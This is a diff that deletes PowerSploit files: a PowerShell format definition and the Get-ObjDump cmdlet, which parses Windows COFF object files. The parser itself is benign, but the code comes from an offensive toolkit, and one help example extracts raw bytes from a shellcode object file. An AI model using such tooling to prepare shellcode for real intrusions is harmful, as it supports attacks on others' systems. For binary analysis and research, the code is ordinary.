||||
<FormatString>0x{0:X4}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>CheckSum</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Number</PropertyName>
|
||||
<FormatString>0x{0:X4}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Selection</PropertyName>
|
||||
<FormatString>0x{0:X2}</FormatString>
|
||||
</TableColumnItem>
|
||||
</TableColumnItems>
|
||||
</TableRowEntry>
|
||||
</TableRowEntries>
|
||||
</TableControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>RelocationView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>COFF.RelocationEntry</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<TableControl>
|
||||
<AutoSize/>
|
||||
<TableHeaders>
|
||||
<TableColumnHeader>
|
||||
<Label>VirtualAddress</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>SymbolTableIndex</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Type</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Name</Label>
|
||||
</TableColumnHeader>
|
||||
</TableHeaders>
|
||||
<TableRowEntries>
|
||||
<TableRowEntry>
|
||||
<TableColumnItems>
|
||||
<TableColumnItem>
|
||||
<PropertyName>VirtualAddress</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>SymbolTableIndex</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Type</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Name</PropertyName>
|
||||
</TableColumnItem>
|
||||
</TableColumnItems>
|
||||
</TableRowEntry>
|
||||
</TableRowEntries>
|
||||
</TableControl>
|
||||
</View>
|
||||
</ViewDefinitions>
|
||||
</Configuration>
|
||||
@@ -1,708 +0,0 @@
|
||||
function Get-ObjDump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Displays information about one or more Windows object files.
|
||||
|
||||
PowerSploit Function: Get-ObjDump
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-ObjDump parses and returns nearly identical infomation as the dumpbin
|
||||
utility. By nature of Get-ObjDump returning objects though, it lends itself
|
||||
much better to manipulation since every field is an object.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
Specifies a path to one or more object file locations.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS>Get-ObjDump -Path main.obj
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS>ls *.obj | Get-ObjDump
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS>$ObjectFile = Get-ObjDump -Path shellcode.obj
|
||||
C:\PS>$CodeBytes = $ObjectFile.SectionHeaders | ? {$_.Name -eq '.text'} | % {$_.RawData}
|
||||
|
||||
Description
|
||||
-----------
|
||||
Pulls the raw bytes out of the text section. Note that in this form,
|
||||
no relocations have been fixed up.
|
||||
|
||||
.INPUTS
|
||||
|
||||
System.String[]
|
||||
|
||||
You can pipe a file system path (in quotation marks) to Get-ObjDump.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
COFF.OBJECT_FILE
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com/
|
||||
#>
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[ValidateScript({ Test-Path $_ })]
|
||||
[String[]]
|
||||
$Path
|
||||
)
|
||||
|
||||
BEGIN
|
||||
{
|
||||
$Code = @'
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace COFF
|
||||
{
|
||||
public enum Machine : ushort
|
||||
{
|
||||
UNKNOWN = 0,
|
||||
I386 = 0x014C, // Intel 386.
|
||||
R3000 = 0x0162, // MIPS little-endian =0x160 big-endian
|
||||
R4000 = 0x0166, // MIPS little-endian
|
||||
R10000 = 0x0168, // MIPS little-endian
|
||||
WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2
|
||||
ALPHA = 0x0184, // Alpha_AXP
|
||||
SH3 = 0x01A2, // SH3 little-endian
|
||||
SH3DSP = 0x01A3,
|
||||
SH3E = 0x01A4, // SH3E little-endian
|
||||
SH4 = 0x01A6, // SH4 little-endian
|
||||
SH5 = 0x01A8, // SH5
|
||||
ARM = 0x01C0, // ARM Little-Endian
|
||||
THUMB = 0x01C2,
|
||||
ARMV7 = 0x01C4, // ARM Thumb-2 Little-Endian
|
||||
AM33 = 0x01D3,
|
||||
POWERPC = 0x01F0, // IBM PowerPC Little-Endian
|
||||
POWERPCFP = 0x01F1,
|
||||
IA64 = 0x0200, // Intel 64
|
||||
MIPS16 = 0x0266, // MIPS
|
||||
ALPHA64 = 0x0284, // ALPHA64
|
||||
MIPSFPU = 0x0366, // MIPS
|
||||
MIPSFPU16 = 0x0466, // MIPS
|
||||
AXP64 = ALPHA64,
|
||||
TRICORE = 0x0520, // Infineon
|
||||
CEF = 0x0CEF,
|
||||
EBC = 0x0EBC, // EFI public byte Code
|
||||
AMD64 = 0x8664, // AMD64 (K8)
|
||||
M32R = 0x9041, // M32R little-endian
|
||||
ARM64 = 0xAA64, // ARMv8 in 64-bit mode
|
||||
CEE = 0xC0EE
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum CoffHeaderCharacteristics : ushort
|
||||
{
|
||||
RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file.
|
||||
EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references).
|
||||
LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file.
|
||||
LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file.
|
||||
AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set
|
||||
LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses
|
||||
REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed.
|
||||
BIT32_MACHINE = 0x0100, // 32 bit public ushort machine.
|
||||
DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file
|
||||
REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file.
|
||||
NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file.
|
||||
SYSTEM = 0x1000, // System File.
|
||||
DLL = 0x2000, // File is a DLL.
|
||||
UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine
|
||||
REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed.
|
||||
}
|
||||
|
||||
public class HEADER
|
||||
{
|
||||
public Machine Machine;
|
||||
public ushort NumberOfSections;
|
||||
public DateTime TimeDateStamp;
|
||||
public uint PointerToSymbolTable;
|
||||
public uint NumberOfSymbols;
|
||||
public ushort SizeOfOptionalHeader;
|
||||
public CoffHeaderCharacteristics Characteristics;
|
||||
|
||||
public HEADER(BinaryReader br)
|
||||
{
|
||||
this.Machine = (Machine) br.ReadUInt16();
|
||||
this.NumberOfSections = br.ReadUInt16();
|
||||
this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32());
|
||||
this.PointerToSymbolTable = br.ReadUInt32();
|
||||
this.NumberOfSymbols = br.ReadUInt32();
|
||||
this.SizeOfOptionalHeader = br.ReadUInt16();
|
||||
this.Characteristics = (CoffHeaderCharacteristics) br.ReadUInt16();
|
||||
}
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum SectionHeaderCharacteristics : uint
|
||||
{
|
||||
TYPE_NO_PAD = 0x00000008, // Reserved.
|
||||
CNT_CODE = 0x00000020, // Section contains code.
|
||||
CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data.
|
||||
CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data.
|
||||
LNK_INFO = 0x00000200, // Section contains comments or some other type of information.
|
||||
LNK_REMOVE = 0x00000800, // Section contents will not become part of image.
|
||||
LNK_COMDAT = 0x00001000, // Section contents comdat.
|
||||
NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section.
|
||||
GPREL = 0x00008000, // Section content can be accessed relative to GP
|
||||
MEM_FARDATA = 0x00008000,
|
||||
MEM_PURGEABLE = 0x00020000,
|
||||
MEM_16BIT = 0x00020000,
|
||||
MEM_LOCKED = 0x00040000,
|
||||
MEM_PRELOAD = 0x00080000,
|
||||
ALIGN_1BYTES = 0x00100000,
|
||||
ALIGN_2BYTES = 0x00200000,
|
||||
ALIGN_4BYTES = 0x00300000,
|
||||
ALIGN_8BYTES = 0x00400000,
|
||||
ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified.
|
||||
ALIGN_32BYTES = 0x00600000,
|
||||
ALIGN_64BYTES = 0x00700000,
|
||||
ALIGN_128BYTES = 0x00800000,
|
||||
ALIGN_256BYTES = 0x00900000,
|
||||
ALIGN_512BYTES = 0x00A00000,
|
||||
ALIGN_1024BYTES = 0x00B00000,
|
||||
ALIGN_2048BYTES = 0x00C00000,
|
||||
ALIGN_4096BYTES = 0x00D00000,
|
||||
ALIGN_8192BYTES = 0x00E00000,
|
||||
ALIGN_MASK = 0x00F00000,
|
||||
LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
|
||||
MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
|
||||
MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
|
||||
MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
|
||||
MEM_SHARED = 0x10000000, // Section is shareable.
|
||||
MEM_EXECUTE = 0x20000000, // Section is executable.
|
||||
MEM_READ = 0x40000000, // Section is readable.
|
||||
MEM_WRITE = 0x80000000 // Section is writeable.
|
||||
}
|
||||
|
||||
public enum AMD64RelocationType : ushort
|
||||
{
|
||||
ABSOLUTE,
|
||||
ADDR64,
|
||||
ADDR32,
|
||||
ADDR32NB,
|
||||
REL32,
|
||||
REL32_1,
|
||||
REL32_2,
|
||||
REL32_3,
|
||||
REL32_4,
|
||||
REL32_5,
|
||||
SECTION,
|
||||
SECREL,
|
||||
SECREL7,
|
||||
TOKEN,
|
||||
SREL32,
|
||||
PAIR,
|
||||
SSPAN32
|
||||
}
|
||||
|
||||
public enum ARMRelocationType : ushort
|
||||
{
|
||||
ABSOLUTE,
|
||||
ADDR32,
|
||||
ADDR32NB,
|
||||
BRANCH24,
|
||||
BRANCH11,
|
||||
TOKEN,
|
||||
BLX24 = 0x08,
|
||||
BLX11 = 0x09,
|
||||
SECTION = 0x0E,
|
||||
SECREL = 0x0F,
|
||||
MOV32A = 0x10,
|
||||
MOV32T = 0x11,
|
||||
BRANCH20T = 0x12,
|
||||
BRANCH24T = 0x14,
|
||||
BLX23T = 0x15
|
||||
}
|
||||
|
||||
public enum ARMv8RelocationType : ushort
|
||||
{
|
||||
ABSOLUTE,
|
||||
ADDR32,
|
||||
ADDR32NB,
|
||||
BRANCH26,
|
||||
PAGEBASE_REL21,
|
||||
REL21,
|
||||
PAGEOFFSET_12A,
|
||||
PAGEOFFSET_12L,
|
||||
SECREL,
|
||||
SECREL_LOW12A,
|
||||
SECREL_HIGH12A,
|
||||
SECREL_LOW12L,
|
||||
TOKEN,
|
||||
SECTION,
|
||||
ADDR64
|
||||
}
|
||||
|
||||
public enum X86RelocationType : ushort
|
||||
{
|
||||
ABSOLUTE,
|
||||
DIR16,
|
||||
DIR32 = 0x06,
|
||||
DIR32NB = 0x07,
|
||||
SEG12 = 0x09,
|
||||
SECTION = 0x0A,
|
||||
SECREL = 0x0B,
|
||||
TOKEN = 0x0C,
|
||||
SECREL7 = 0x0D,
|
||||
REL32 = 0x14
|
||||
}
|
||||
|
||||
public class RelocationEntry
|
||||
{
|
||||
public uint VirtualAddress;
|
||||
public uint SymbolTableIndex;
|
||||
public Enum Type;
|
||||
public string Name;
|
||||
|
||||
public RelocationEntry(BinaryReader br)
|
||||
{
|
||||
this.VirtualAddress = br.ReadUInt32();
|
||||
this.SymbolTableIndex = br.ReadUInt32();
|
||||
// Default to X86RelocationType. This will be changed once the processor type is determined
|
||||
this.Type = (X86RelocationType) br.ReadUInt16();
|
||||
}
|
||||
}
|
||||
|
||||
public class SECTION_HEADER
|
||||
{
|
||||
public string Name;
|
||||
public uint PhysicalAddress;
|
||||
public uint VirtualSize;
|
||||
public uint VirtualAddress;
|
||||
public uint SizeOfRawData;
|
||||
public uint PointerToRawData;
|
||||
public uint PointerToRelocations;
|
||||
public uint PointerToLinenumbers;
|
||||
public ushort NumberOfRelocations;
|
||||
public ushort NumberOfLinenumbers;
|
||||
public SectionHeaderCharacteristics Characteristics;
|
||||
public Byte[] RawData;
|
||||
public RelocationEntry[] Relocations;
|
||||
|
||||
public SECTION_HEADER(BinaryReader br)
|
||||
{
|
||||
this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0];
|
||||
this.PhysicalAddress = br.ReadUInt32();
|
||||
this.VirtualSize = this.PhysicalAddress;
|
||||
this.VirtualAddress = br.ReadUInt32();
|
||||
this.SizeOfRawData = br.ReadUInt32();
|
||||
this.PointerToRawData = br.ReadUInt32();
|
||||
this.PointerToRelocations = br.ReadUInt32();
|
||||
this.PointerToLinenumbers = br.ReadUInt32();
|
||||
this.NumberOfRelocations = br.ReadUInt16();
|
||||
this.NumberOfLinenumbers = br.ReadUInt16();
|
||||
this.Characteristics = (SectionHeaderCharacteristics) br.ReadUInt32();
|
||||
}
|
||||
}
|
||||
|
||||
public enum SectionNumber : short
|
||||
{
|
||||
UNDEFINED,
|
||||
ABSOLUTE = -1,
|
||||
DEBUG = -2
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum TypeClass : short
|
||||
{
|
||||
TYPE_NULL,
|
||||
TYPE_VOID,
|
||||
TYPE_CHAR,
|
||||
TYPE_SHORT,
|
||||
TYPE_INT,
|
||||
TYPE_LONG,
|
||||
TYPE_FLOAT,
|
||||
TYPE_DOUBLE,
|
||||
TYPE_STRUCT,
|
||||
TYPE_UNION,
|
||||
TYPE_ENUM,
|
||||
TYPE_MOE,
|
||||
TYPE_BYTE,
|
||||
TYPE_WORD,
|
||||
TYPE_UINT,
|
||||
TYPE_DWORD,
|
||||
DTYPE_POINTER = 0x100,
|
||||
DTYPE_FUNCTION = 0x200,
|
||||
DTYPE_ARRAY = 0x300,
|
||||
DTYPE_NULL = 0x400 // Technically, this is defined as 0 in the MSB
|
||||
}
|
||||
|
||||
public enum StorageClass : byte
|
||||
{
|
||||
NULL,
|
||||
AUTOMATIC,
|
||||
EXTERNAL,
|
||||
STATIC,
|
||||
REGISTER,
|
||||
EXTERNAL_DEF,
|
||||
LABEL,
|
||||
UNDEFINED_LABEL,
|
||||
MEMBER_OF_STRUCT,
|
||||
ARGUMENT,
|
||||
STRUCT_TAG,
|
||||
MEMBER_OF_UNION,
|
||||
UNION_TAG,
|
||||
TYPE_DEFINITION,
|
||||
ENUM_TAG,
|
||||
MEMBER_OF_ENUM,
|
||||
REGISTER_PARAM,
|
||||
BIT_FIELD,
|
||||
BLOCK = 0x64,
|
||||
FUNCTION = 0x65,
|
||||
END_OF_STRUCT = 0x66,
|
||||
FILE = 0x67,
|
||||
SECTION = 0x68,
|
||||
WEAK_EXTERNAL = 0x69,
|
||||
CLR_TOKEN = 0x6B,
|
||||
END_OF_FUNCTION = 0xFF
|
||||
}
|
||||
|
||||
public class SYMBOL_TABLE
|
||||
{
|
||||
public string Name;
|
||||
public uint Value;
|
||||
public SectionNumber SectionNumber;
|
||||
public TypeClass Type;
|
||||
public StorageClass StorageClass;
|
||||
public byte NumberOfAuxSymbols;
|
||||
public Object AuxSymbols;
|
||||
private Byte[] NameArray;
|
||||
|
||||
public SYMBOL_TABLE(BinaryReader br)
|
||||
{
|
||||
this.NameArray = br.ReadBytes(8);
|
||||
|
||||
if (this.NameArray[0] == 0 && this.NameArray[1] == 0 &&this.NameArray[2] == 0 &&this.NameArray[3] == 0)
|
||||
{
|
||||
// Per specification, if the high DWORD is 0, then then low DWORD is an index into the string table
|
||||
this.Name = "/" + BitConverter.ToInt32(NameArray, 4).ToString();
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Name = Encoding.UTF8.GetString(NameArray).Trim(((char) 0));
|
||||
}
|
||||
|
||||
this.Value = br.ReadUInt32();
|
||||
this.SectionNumber = (SectionNumber) br.ReadInt16();
|
||||
this.Type = (TypeClass) br.ReadInt16();
|
||||
if ((((int) this.Type) & 0xff00) == 0) { this.Type = (TypeClass) Enum.Parse(typeof(TypeClass), ((int) this.Type | 0x400).ToString());}
|
||||
this.StorageClass = (StorageClass) br.ReadByte();
|
||||
this.NumberOfAuxSymbols = br.ReadByte();
|
||||
}
|
||||
}
|
||||
|
||||
public class SECTION_DEFINITION
|
||||
{
|
||||
public uint Length;
|
||||
public ushort NumberOfRelocations;
|
||||
public ushort NumberOfLinenumbers;
|
||||
public uint CheckSum;
|
||||
public ushort Number;
|
||||
public byte Selection;
|
||||
|
||||
public SECTION_DEFINITION(BinaryReader br)
|
||||
{
|
||||
this.Length = br.ReadUInt32();
|
||||
this.NumberOfRelocations = br.ReadUInt16();
|
||||
this.NumberOfLinenumbers = br.ReadUInt16();
|
||||
this.CheckSum = br.ReadUInt32();
|
||||
this.Number = br.ReadUInt16();
|
||||
this.Selection = br.ReadByte();
|
||||
br.ReadBytes(3);
|
||||
}
|
||||
}
|
||||
}
|
||||
'@
|
||||
|
||||
Add-Type -TypeDefinition $Code
|
||||
|
||||
function Dispose-Objects
|
||||
{
|
||||
$BinaryReader.Dispose()
|
||||
$FileStream.Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
PROCESS
|
||||
{
|
||||
foreach ($File in $Path) {
|
||||
|
||||
# Resolve the absolute path of the object file. [IO.File]::OpenRead requires an absolute path.
|
||||
$ObjFilePath = Resolve-Path $File
|
||||
|
||||
# Pull out just the file name
|
||||
$ObjFileName = Split-Path $ObjFilePath -Leaf
|
||||
|
||||
# Fixed structure sizes
|
||||
$SizeofCOFFFileHeader = 20
|
||||
$SizeofSectionHeader = 40
|
||||
$SizeofSymbolTableEntry = 18
|
||||
$SizeofRelocationEntry = 10
|
||||
|
||||
# Open the object file for reading
|
||||
$FileStream = [IO.File]::OpenRead($ObjFilePath)
|
||||
|
||||
$FileLength = $FileStream.Length
|
||||
|
||||
if ($FileLength -lt $SizeofCOFFFileHeader)
|
||||
{
|
||||
# You cannot parse the COFF header if the file is not big enough to contain a COFF header.
|
||||
Write-Error "$($ObjFileName) is too small to store a COFF header."
|
||||
Dispose-Objects
|
||||
return
|
||||
}
|
||||
|
||||
# Open a BinaryReader object for the object file
|
||||
$BinaryReader = New-Object IO.BinaryReader($FileStream)
|
||||
|
||||
# Parse the COFF header
|
||||
$CoffHeader = New-Object COFF.HEADER($BinaryReader)
|
||||
|
||||
if ($CoffHeader.SizeOfOptionalHeader -ne 0)
|
||||
{
|
||||
# Per the PECOFF specification, an object file does not have an optional header
|
||||
Write-Error "Coff header indicates the existence of an optional header. An object file cannot have an optional header."
|
||||
Dispose-Objects
|
||||
return
|
||||
}
|
||||
|
||||
if ($CoffHeader.PointerToSymbolTable -eq 0)
|
||||
{
|
||||
Write-Error 'An object file is supposed to have a symbol table.'
|
||||
Dispose-Objects
|
||||
return
|
||||
}
|
||||
|
||||
if ($FileLength -lt (($CoffHeader.NumberOfSections * $SizeofSectionHeader) + $SizeofCOFFFileHeader))
|
||||
{
|
||||
# The object file isn't big enough to store the number of sections present.
|
||||
Write-Error "$($ObjFileName) is too small to store section header data."
|
||||
Dispose-Objects
|
||||
return
|
||||
}
|
||||
|
||||
# A string collection used to store section header names. This collection is referenced while
|
||||
# parsing the symbol table entries whose name is the same as the section header. In this case,
|
||||
# the symbol entry will have a particular auxiliary symbol table entry.
|
||||
$SectionHeaderNames = New-Object Collections.Specialized.StringCollection
|
||||
|
||||
# Correlate the processor type to the relocation type. There are more relocation type defined
|
||||
# in the PECOFF specification, but I don't expect those to be present. In that case, relocation
|
||||
# entries default to X86RelocationType.
|
||||
$SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections)
|
||||
$MachineTypes = @{ [COFF.Machine]::I386 = [COFF.X86RelocationType]
|
||||
[COFF.Machine]::AMD64 = [COFF.AMD64RelocationType]
|
||||
[COFF.Machine]::ARMV7 = [COFF.ARMRelocationType]
|
||||
[COFF.Machine]::ARM64 = [COFF.ARMv8RelocationType] }
|
||||
|
||||
# Parse section headers
|
||||
for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
|
||||
{
|
||||
$SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader)
|
||||
|
||||
# Add the section name to the string collection. This will be referenced during symbol table parsing.
|
||||
$SectionHeaderNames.Add($SectionHeaders[$i].Name) | Out-Null
|
||||
|
||||
# Save the current filestream position. We are about to jump out of place.
|
||||
$SavedFilePosition = $FileStream.Position
|
||||
|
||||
# Check to see if the raw data points beyond the actual file size
|
||||
if (($SectionHeaders[$i].PointerToRawData + $SectionHeaders[$i].SizeOfRawData) -gt $FileLength)
|
||||
{
|
||||
Write-Error "$($SectionHeaders[$i].Name) section header's raw data exceeds the size of the object file."
|
||||
return
|
||||
}
|
||||
else
|
||||
{
|
||||
# Read the raw data into a byte array
|
||||
$FileStream.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null
|
||||
$SectionHeaders[$i].RawData = $BinaryReader.ReadBytes($SectionHeaders[$i].SizeOfRawData)
|
||||
}
|
||||
|
||||
# Check to see if the section has a relocation table
|
||||
if ($SectionHeaders[$i].PointerToRelocations -and $SectionHeaders[$i].NumberOfRelocations)
|
||||
{
|
||||
# Check to see if the relocation entries point beyond the actual file size
|
||||
if (($SectionHeaders[$i].PointerToRelocations + ($SizeofRelocationEntry * $SectionHeaders[$i].NumberOfRelocations)) -gt $FileLength)
|
||||
{
|
||||
Write-Error "$($SectionHeaders[$i].Name) section header's relocation entries exceeds the soze of the object file."
|
||||
return
|
||||
}
|
||||
|
||||
$FileStream.Seek($SectionHeaders[$i].PointerToRelocations, 'Begin') | Out-Null
|
||||
|
||||
$Relocations = New-Object COFF.RelocationEntry[]($SectionHeaders[$i].NumberOfRelocations)
|
||||
|
||||
for ($j = 0; $j -lt $SectionHeaders[$i].NumberOfRelocations; $j++)
|
||||
{
|
||||
$Relocations[$j] = New-Object COFF.RelocationEntry($BinaryReader)
|
||||
# Cast the relocation as its respective type
|
||||
$Relocations[$j].Type = ($Relocations[$j].Type.value__ -as $MachineTypes[$CoffHeader.Machine])
|
||||
}
|
||||
|
||||
# Add the relocation table entry to the section header
|
||||
$SectionHeaders[$i].Relocations = $Relocations
|
||||
}
|
||||
|
||||
# Restore the original filestream pointer
|
||||
$FileStream.Seek($SavedFilePosition, 'Begin') | Out-Null
|
||||
}
|
||||
|
||||
# Retrieve the contents of the COFF string table
|
||||
$SymTableSize = $CoffHeader.NumberOfSymbols * $SizeofSymbolTableEntry
|
||||
$StringTableOffset = $CoffHeader.PointerToSymbolTable + $SymTableSize
|
||||
|
||||
if ($StringTableOffset -gt $FileLength)
|
||||
{
|
||||
Write-Error 'The string table points beyond the end of the file.'
|
||||
Dispose-Objects
|
||||
return
|
||||
}
|
||||
|
||||
$FileStream.Seek($StringTableOffset, 'Begin') | Out-Null
|
||||
$StringTableLength = $BinaryReader.ReadUInt32()
|
||||
|
||||
if ($StringTableLength -gt $FileLength)
|
||||
{
|
||||
Write-Error "The string table's length exceeds the length of the file."
|
||||
Dispose-Objects
|
||||
return
|
||||
}
|
||||
|
||||
$StringTable = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($StringTableLength))
|
||||
|
||||
$RawSymbolTable = New-Object COFF.SYMBOL_TABLE[]($CoffHeader.NumberOfSymbols)
|
||||
|
||||
# Retrieve the symbol table
|
||||
if ($FileLength -lt $StringTableOffset)
|
||||
{
|
||||
"Symbol table is larger than the file size."
|
||||
return
|
||||
}
|
||||
|
||||
$FileStream.Seek($CoffHeader.PointerToSymbolTable, 'Begin') | Out-Null
|
||||
$NumberofRegularSymbols = 0
|
||||
|
||||
<#
|
||||
Go through each symbol table looking for auxiliary symbols to parse
|
||||
|
||||
Currently supported auxiliary symbol table entry formats:
|
||||
1) .file
|
||||
2) Entry names that match the name of a section header
|
||||
#>
|
||||
for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++)
|
||||
{
|
||||
# Parse the symbol tables regardless of whether they are normal or auxiliary symbols
|
||||
$RawSymbolTable[$i] = New-Object COFF.SYMBOL_TABLE($BinaryReader)
|
||||
|
||||
if ($RawSymbolTable[$i].NumberOfAuxSymbols -eq 0)
|
||||
{
|
||||
# This symbol table entry has no auxiliary symbols
|
||||
$NumberofRegularSymbols++
|
||||
}
|
||||
elseif ($RawSymbolTable[$i].Name -eq '.file')
|
||||
{
|
||||
$TempPosition = $FileStream.Position # Save filestream position
|
||||
# Retrieve the file name
|
||||
$RawSymbolTable[$i].AuxSymbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($RawSymbolTable[$i].NumberOfAuxSymbols * $SizeofSymbolTableEntry)).TrimEnd(([Char] 0))
|
||||
$FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position
|
||||
}
|
||||
elseif ($SectionHeaderNames.Contains($RawSymbolTable[$i].Name))
|
||||
{
|
||||
$TempPosition = $FileStream.Position # Save filestream position
|
||||
$RawSymbolTable[$i].AuxSymbols = New-Object COFF.SECTION_DEFINITION($BinaryReader)
|
||||
$FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position
|
||||
}
|
||||
}
|
||||
|
||||
# Create an array of symbol table entries without auxiliary table entries
|
||||
$SymbolTable = New-Object COFF.SYMBOL_TABLE[]($NumberofRegularSymbols)
|
||||
$j = 0
|
||||
|
||||
for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++)
|
||||
{
|
||||
$SymbolTable[$j] = $RawSymbolTable[$i] # FYI, the first symbol table entry will never be an aux symbol
|
||||
$j++
|
||||
|
||||
# Skip over the auxiliary symbols
|
||||
if ($RawSymbolTable[$i].NumberOfAuxSymbols -ne 0)
|
||||
{
|
||||
$i += $RawSymbolTable[$i].NumberOfAuxSymbols
|
||||
}
|
||||
}
|
||||
|
||||
# Dispose the binaryreader and filestream objects
|
||||
Dispose-Objects
|
||||
|
||||
# Fix the section names if any of them point to the COFF string table
|
||||
for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
|
||||
{
|
||||
if ($SectionHeaders[$i].Name.IndexOf('/') -eq 0)
|
||||
{
|
||||
$StringTableIndex = $SectionHeaders[$i].Name.SubString(1)
|
||||
|
||||
if ($StringTableIndex -match '^[1-9][0-9]*$')
|
||||
{
|
||||
$StringTableIndex = ([Int] $StringTableIndex) - 4
|
||||
|
||||
if ($StringTableIndex -gt ($StringTableLength + 4))
|
||||
{
|
||||
Write-Error 'String table entry exceeds the bounds of the object file.'
|
||||
}
|
||||
|
||||
$Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex)
|
||||
$SectionHeaders[$i].Name = $StringTable.Substring($StringTableIndex, $Length)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Fix the symbol table names
|
||||
for ($i = 0; $i -lt $SymbolTable.Length; $i++)
|
||||
{
|
||||
if ($SymbolTable[$i].Name.IndexOf('/') -eq 0)
|
||||
{
|
||||
$StringTableIndex = $SymbolTable[$i].Name.SubString(1)
|
||||
|
||||
if ($StringTableIndex -match '^[1-9][0-9]*$')
|
||||
{
|
||||
$StringTableIndex = ([Int] $StringTableIndex) - 4
|
||||
$Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $StringTableIndex
|
||||
$SymbolTable[$i].Name = $StringTable.Substring($StringTableIndex, $Length)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Apply symbol names to the relocation entries
|
||||
$SectionHeaders | Where-Object { $_.Relocations } | % {
|
||||
$_.Relocations | % { $_.Name = $RawSymbolTable[$_.SymbolTableIndex].Name }
|
||||
}
|
||||
|
||||
$Result = @{
|
||||
COFFHeader = $CoffHeader
|
||||
SectionHeaders = $SectionHeaders
|
||||
SymbolTable = $SymbolTable
|
||||
}
|
||||
|
||||
$ParsedObjectFile = New-Object PSObject -Property $Result
|
||||
$ParsedObjectFile.PSObject.TypeNames[0] = 'COFF.OBJECT_FILE'
|
||||
Write-Output $ParsedObjectFile
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
END {}
|
||||
}
|
||||
@@ -1,960 +0,0 @@
|
||||
function Get-PEHeader
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Parses and outputs the PE header of a process in memory or a PE file on disk.
|
||||
|
||||
PowerSploit Function: Get-PEHeader
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: PETools.format.ps1xml
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
